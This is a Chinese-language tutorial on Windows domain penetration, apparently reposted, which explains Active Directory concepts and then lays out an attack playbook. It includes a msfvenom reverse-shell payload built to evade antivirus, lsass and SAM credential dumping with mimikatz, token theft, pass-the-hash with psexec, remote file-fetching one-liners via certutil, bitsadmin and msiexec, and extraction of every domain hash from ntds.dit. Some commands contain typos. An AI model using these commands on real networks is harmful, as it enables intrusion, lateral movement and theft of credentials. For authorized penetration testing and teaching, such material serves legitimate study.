內網滲透之初識域滲透


內網滲透之初識域滲透

0x01 初識域環境

一、什么是域

將網絡中多台計算機邏輯上組織到一起,進行集中管理,這種區別於工作組的邏輯環境叫做域,域是組織與存儲資源的核心管理單元,在域中,至少有一台域控制器,域控制器中保存着整個域的用戶帳號和安全數據庫。

二、域的優點(為什么使用域)

那么域網絡結構有什么優點呢?域的優點主要有以下幾個方面:

1、權限管理比較集中,管理成本降低

域環境中,所有的網絡資源,包括用戶均是在域控制器上維護的,便於集中管理,所有用戶只要登入到域,均能在域內進行身份驗證,管理人員可以較好的管理計算機資源,管理網絡的成本大大降低;同時在域環境中也可以防止企業員工在域成員主機上違規安裝軟件,增強客戶端安全性,減少客戶端故障,降低維護成本。

2、保密性加強

有利於企業的一些保密資料的管理,可以單獨對資源進行權限控制,允許或拒絕特定的域賬戶對資源的請求。

3、安全性加強

使用漫游賬戶和文件夾重定向,個人賬戶的工作文件及數據等可以存儲在服務器上,進行統一備份及管理,使用戶的數據更加安全有保障;同時域控制器能夠分發應用程序、系統補丁,用戶可以選擇安裝,也可以由系統管理員指派自動安裝,數據及系統安全性大大提高。

4、提高了便捷性

可由管理員指派登陸腳本映射,用戶登錄后就可以像使用本地盤符一樣,使用網絡上的資源,且不需要再次輸入密碼。

基於以上原因,很多企業的內網均會采用域環境,所以作為一名合格的滲透測試人員,域滲透的常規思路和技巧要熟練掌握。

三、域的基本名詞解釋

1、域控制器(DC)

域控制器是指在“域”模式下,至少有一台服務器負責每一台聯入網絡的電腦和用戶的驗證工作,相當於一個單位的門衛一樣,稱為“域控制器(Domain Controller,簡寫為DC)”,簡稱域控。

域控制器( Domain controller,DC)是活動目錄的存儲位置,安裝了活動目錄的計算機稱為域控制器。在第一次安裝活動目錄時,安裝活動目錄的那台計算機就成為域控制器,簡稱“域控”。域控制器存儲着目錄數據並管理用戶域的交互關系,其中包括用戶登錄過程、身份驗證和目錄搜索等。一個域可以有多個域控制器。為了獲得高可用性和容錯能力,規模較小的域只需兩個域控制器,一個實際使用,另一個用於容錯性檢査;規模較大的域可以使用多個域控制器。

2、活動目錄(Active Directory)

活動目錄(Active Directory)是面向Windows Standard Server、Windows Enterprise Server以及 Windows Datacenter Server的目錄服務活動目錄服務是Windows Server 2000操作系統平台的中心組件之一。(Active Directory不能運行在Windows Web Server上,但是可以通過它對運行Windows Web Server的計算機進行管理。)

Active Directory存儲了有關網絡對象的信息,並且讓管理員和用戶能夠輕松地查找和使用這些信息。目錄包含了有關各種對象 [例如用戶、用戶組、計算機、域、組織單位(OU)以及安全策略] 的信息。Active Directory使用了一種結構化的數據存儲方式,並以此作為基礎對目錄信息進行合乎邏輯的分層組織。

3、域用戶

域用戶帳號是在域的domain users組中,本地用戶賬戶在本地user組中。

在計算機加入域時,會把domain users組添加到user組中。因此對客戶機來說,兩者完全是一樣的。

區別只在於當其他客戶機也加入域時,也添加了domain users組,因此域用戶帳號還可以訪問其他客戶機。 用戶名和密碼到域控制器驗證,域賬戶可以在任意一台加入域的電腦上登陸,多台電腦也可以同時登陸一個用戶。

4、域管

登錄到域控制器上,對一切權限進行控制,而不用到每一台域機器電腦前進行設置。

5 、域用戶組

公司很多員工的權限都是相同的,那我們可以通過使用分組將不同的用戶放入不同的分組,對這些相同的權限只需要設置一次,然后將改權限分配給該組。免去了對每個用戶進行設置的麻煩。

域組的類型
  1. 安全組:主要用來設置權限用的。也可用在與安全無關的任務上,如:通過E-mail軟件將E-mail發送給某個分布式組。

  2. 分布式組:用在與安全無關的任務上。如:通過E-mail軟件將E-mail發送給某個分布式組,(應用程序須支持AD才可使用分布式組)。無法設置分布式組的權限。

域組的使用領域

從組的使用領域來分,win2003域組可分為以下三類:全局組、本地域組、通用組

  1. 全局組
  • 成員范圍:只能包含所屬域內的用戶和全局組
  • 可訪問資源范圍:可以訪問所有域的資源。
  1. 本地域組
  • 成員范圍:所有域內的用戶、全局組通用組,所屬域內的本地域組;
  • 可訪問資源范圍:只可訪問所屬域的資源。
  1. 通用組
  • 成員范圍:所有域內的用戶、全局組通用組
  • 可訪問資源范圍:可以訪問所有域的資源。

注:1)域功能級別為win2000混合模式時不支持通用組;2)域功能級別為win2000混合模式時不支持全局組嵌套。

6、信任域

在很多實際情況中,一個又有下面的子公司,所以就造成母公司有一個域,子公司有也有一個單獨的域。母公司的域與子公司的域如何聯系起來呢?我們可以在它們之間建立一種叫信任( Trust)的關系。如果母公司的帳戶想要能夠登錄到子公司的域中,子公司的域就要對母公司的減建立信任關系。當母公司域的帳戶想要登錄到子公司域中時,子公司域由於信任母公司的域,所以它會聽從從母公司域的域控制器返回的 access key。反過來,由於母公司的域沒有建立對子公司的信任,所以如果子公司的帳戶想要登錄到母公司的域中是不可能的

/ domain trusts返回受信任域的列表

0x02 域信息收集

一、nltes查詢信任域

信任域:可以在工作組里查詢,查詢內網里是否有域環境

nltest /domain_trusts /all_trusts /v /server:192.168.52.2

返回所有信任192.168.52.2的域

nltest /dsgetdc:XXXX /server:192.168.52.2

返回域控和其相應的IP地址,XXXX是上一步結果中的一個域

二、域環境信息收集

1、Csvde

Csvde是windows Server 2008 的內置命令行工具,位於%windir%/system32文件夾中,如果您安裝了AD DS或Activity Directory輕型目錄服務(AD LDS)服務器角色,則此功能可用

適用於:Windows Server 2003,Windows Server 2008,Windows Server 2003 R2,Windows Server 2008 R2,Windows Server 2012,帶有SP1,Windows 8的Windows Server 2003

csvde -setspn domain-f c:\domain.scvdomain 是域名稱,c:\domain.scv是保存路徑和文件格式

  • LDAP的存儲規則
  • 區分名(DN,Distinguished Name)一個條目的區分名稱叫做“dn”或者叫做區分名。在一個目錄中這個名稱總是唯一的。
  • CN=Common Name 為用戶名或服務器名,最長可以到80個字符,可以為中文;
  • OU=Organization Unit為組織單元,最多可以有四級,每級最長32個字符,可以為中文;
  • O=Organization為組織名,可以3-64個字符長
  • C=Country為國家名,可選,為2個字符長

2、Setspn

setspn -T hack -Q */*

SPN官方名稱即為“服務主體名稱”,本質上存的就是域內各種服務資源的對應關系(對應的服務類型、機器名稱、服務端口等)

借助SPN快速定位當前目標域中所有存活的各類服務器

3、Dnsdump

dnsdump.exe -u 域名\域用戶 -p 域密碼 域孔機器名
dnsdump.exe -u hack\iis_user -p 1qaz@WSX windows_server_2016_dc -r

4 、Net

net user /domain						獲取用戶列表
net group "domain admin" /domain		獲取與管理員列表
net group "domain controllers" /domain	查看域控制器(數量)
net group "domain computers" /domain 	查看域機器
net group /domain 						查詢域里面的組

net view				查看同一域內機器列表
net view \\ip			查看某IP共享
net view \\GHQ			查看GHQ計算機的共享資源列表
net view /domain		查看內網存在多少個域
net view /domain:XYZ	查看XYZ域中的機器列表

4、nbtscan

nbtscan.exe 192.168.52.0/24

0x03 域滲透思路

一、滲透思路

橫向滲透 - > 權限維持 - >取密碼(獲取一個域用戶賬號密碼) - >域信息收集 - >橫向滲透 - >取密碼 - >獲取域管權限 - >拿下域控服務器

橫向滲透的思路(適用於工作組滲透和域滲透)

graph LR 內網GetShell--> A(弱口令) A --> RDP,SMB弱口令 A --> SSH弱口令 A --> MSSQL弱口令 A --> Tomcat弱口令 --> 使用python腳本war.py 內網GetShell--> B(未授權) 內網GetShell--> C(RCE) C --> Jboss C --> Weblogic/掃描端口 C --> Struts2/掃描內網web,后綴為action和do C --> 致遠OA/通過內網掃描web標題找出致遠OA漏洞 內網GetShell--> D(反序列化) D --> Shiro/Python腳本shio_vul.py D --> RMI D --> Jdwp

二、權限維持

1、DLL文件加載shellcode免殺上線

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=9999 LHOST=192.168.1.1 -e X86/shikata_ga_nai -i 11 -f c -o shellcode.c


msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp_uuid
msf > set lhost 192.168.1.1
msf > set lport 8888
msf > set EnableStageEncodeing true
msf > set StageEncoder X86/fnstenv_mov
msf > exploit

生成的shellcode放入下圖代碼中標記的位置

編譯生成dll執行,成功上線

2、注冊表讀取密碼

正常我們一般使用mimikatz讀取密碼,但是一般查毒軟件都會查殺,下面我們通過注冊表讀取密碼繞過查殺

// 獲取注冊表信息
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
reg save HKLM\SAM c:\windows\temp\Sam.hiv

// 獲取注冊表密碼文件后下載至本機

// mimikatz運行解密命令獲取hash NTLM ,然后通過MD5解密
mimikatz.exe
lsadump::sam /sam:Sam.hiv /system:Sys.hiv

3、Lsass讀取內存hash

lsass進程獲取內存hash,lsass.exe進程會保存機器登錄過的用戶密碼(2008之前密碼是明文存儲,2012和2016都是密文hash存儲)

// 在目標機器上執行procdump.exe
procdumo.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp

// 在mimikatz中運行 結果保存在日志中
mimikatz.exe "sekurlas::minidump lsass.dmp" "log" "sekulsa::logonpasswords"

Win2012演示如下:

Win2008演示如下:

4、LaZagne工具獲取密碼

LaZagne取各種連接工具密碼、瀏覽器保存密碼等

下載地址:https://github.com/AlessandroZ/LaZagne

5、憑證竊取

通過tasklist /v查看進程用戶,如果有域用戶開啟的進程,則可以通過憑證竊取域用戶的進程

登錄一台機器本地賬戶發現機器運行如下域用戶進行

通過incognito工具竊取憑據

下載地址1:https://github.com/FSecureLABS/incognito

下載地址2:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

incognito.exe list_tokens -u
incognito.exe execute -c "HACK\Administrator" cmd.exe

6、命令行滲透

a、為什么命令行滲透?
  • 遠程登陸桌面增加暴露風險;
  • 目標管理員可能對服務器禁用遠程登陸。
b、建立IPC連接執行命令
  • 可以訪問目標機器的文件(上傳、下載),也可以在目標機器上運行命令。
  • 上傳和下載文件直接通過copy命令就可以,不過路徑換成UNC路徑。
  • 何為UNC路徑?簡單來講以\開頭的路徑就是UNC路徑,比如\192.168.1.2\c$\users。

如果要從本地當前目錄上傳1.bat到192.168.1.2機器C盤根目錄下,那么命令就是

copy 1.bat \\192.168.1.2\C$\

反之就是下載

dir、copy、xcopy、move、type的參數都可使用UNC路徑

net use \\192.168.52.2 /u:hack\adminidtrator Windows2019***		建立IPC連接
copy sbn.exe \\192.168.52.2\C$\windows\temp						復制本地文件到目標服務器
copy \\192.168.52.2\C$\windows\temp\hash.txt					復制目標服務器文件到本地

c 、Schtasks計划任務執行命令

推薦用schtasks計划任務

// 創建計划任務
schtasks /create /tn taskName /U 域\域用戶 /P 域用戶密碼 /tr 執行的命令或者bat路徑  /sc ONSTART /s 域機器IP /RU system

// 運行計划任務
schtasks /run /tn taskName /s 域機器IP /U 域\域用戶 /P 域用戶密碼

// 刪除計划任務
schtasks /F /delete /tn taskName /s 域機器IP /U 域\域用戶  /P  域用戶密碼

d、psexec執行命令
// 建立IPC連接

net use \\192.168.52.2 /u:DomainName\UserName password*

psexec.exe \\192.168.52.2 -s cmd.exe -accepteula

-accepteula 第一次運行會彈框,輸入這個參數便不會彈框

-s 以“nt authority\system”權限運行遠程進程

  • hash傳遞攻擊

//當hash沒有解出來的時候,可以使用hash傳遞攻擊

psexec.exe -hashes :用戶hash 域名/用戶名@目標IP

psexec.exe -hashes:70a50724b37f6d3d03d00c24e946fde3 hack/administrator@192.168.52.2

e、命令行下載文件

1 - powershell(win2003、 winXP不支持)

power -exec bypass -c (new-object SystemNet.webctient).Downloadfie('http://192.168.1.101/test.txt','c:\test.txt')

2 - certutil

certutil.exe -urlcache -split -f http://192.168.1.1/test.txtfile.txt

3 - bitadmin

bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt
bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt

4 - msiexec

msiexec /q /i http://192.168.1.1/test.txt

5 - IEExec

C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\Windows\microsoft.NET\Framework\v2.0.50727> IEExec.exe http://192.168.1.1/test.exe

7、獲取內網代理

內網有些資源可能需要掛指定代理才可以訪問:

  • ie代理
  • pac代理
// 直接查詢HKEY_CURRENT_USER(ie 代理)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer

// 直接查詢HKEY_CURRENT_USER(pac 代理)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

8、windows api使用

利用API 寫成一些小工具。所有工具使用前提:建立IPC連接。

工具名稱:(這些Exe的名字,也都是api的名字)

NetGroupGetUsers.exe:查詢域里的各個組里的成員,IP必須是域控IP,域用戶隨意。

NetLocalGroupGetMembers.exe:查詢目標服務器本地管理組的成員。

NetUserEnum.exe:查詢目標服務器所有用戶,包括隱藏用戶。

9、導出域hash

Windows的密碼是經過hash后存儲的,本地存在hklm\sam,hklm\system注冊表中

域里面存在域控制器的c:\windows\ntds\ntds.dit中,我們取出來解密即可

ntds.dit其實就是個esent數據庫,微軟本身就有一系列的文檔化api能夠操作這個數據庫

https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx

// 第一步:創建快照 獲取{}中的ID,必須在域控服務器上操作
ntdsutil snapshot "activate instance ntds" create quit quit

// 第二步:掛載快照
ntdsutil snapshot "mount {8a8db83f-dad7-b61d-ef272a3a483f}" quit quit

// 第三步:復制ntds.dit
copy C:\$SNAP_201910121047_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

// 第四步:卸載快照
ntdsutil snapshot "unmount {8a8db83f-dad7-b61d-ef272a3a483f}" quit quit

// 第五步:刪除快哉
ntdsutil snapshot "delete {8a8db83f-dad7-b61d-ef272a3a483f}" quit quit

// 第六步:獲取key
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv

// 第七步:使用NTDSDumpEx獲取所有域用戶的Hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s Sys.hiv -h

最后成功獲取當前域控中所有域賬戶和密碼

0x04 參考資料

漏洞銀行丨內網滲透之初識域滲透-ske丨咖面105期


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM